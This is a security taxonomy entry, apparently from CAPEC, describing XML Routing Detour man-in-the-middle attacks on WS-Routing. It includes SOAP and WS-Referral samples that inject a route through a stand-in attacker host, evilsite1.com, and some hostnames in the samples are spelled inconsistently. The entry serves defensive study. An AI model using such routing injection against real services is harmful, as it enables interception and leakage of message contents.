Common Attack Pattern Enumeration and Classification

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Man in the Middle type attacks. The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of his or her choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction). Example SOAP message with routing information in header: <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> Add an additional node (example3.com/router) to the XML path in a WS-Referral message <r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://example3.com/router</r:via> </r:go> </r:ref> Resulting in the following SOAP Header: <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> In the following example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that he/she has targeted. Example of WS-Referral based WS-Routing injection of the bogus node route: <r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite1.com/router</r:via> </r:go> </r:ref> Resulting XML Routing Detour attack: <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://evilesite1.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).

Information Leakage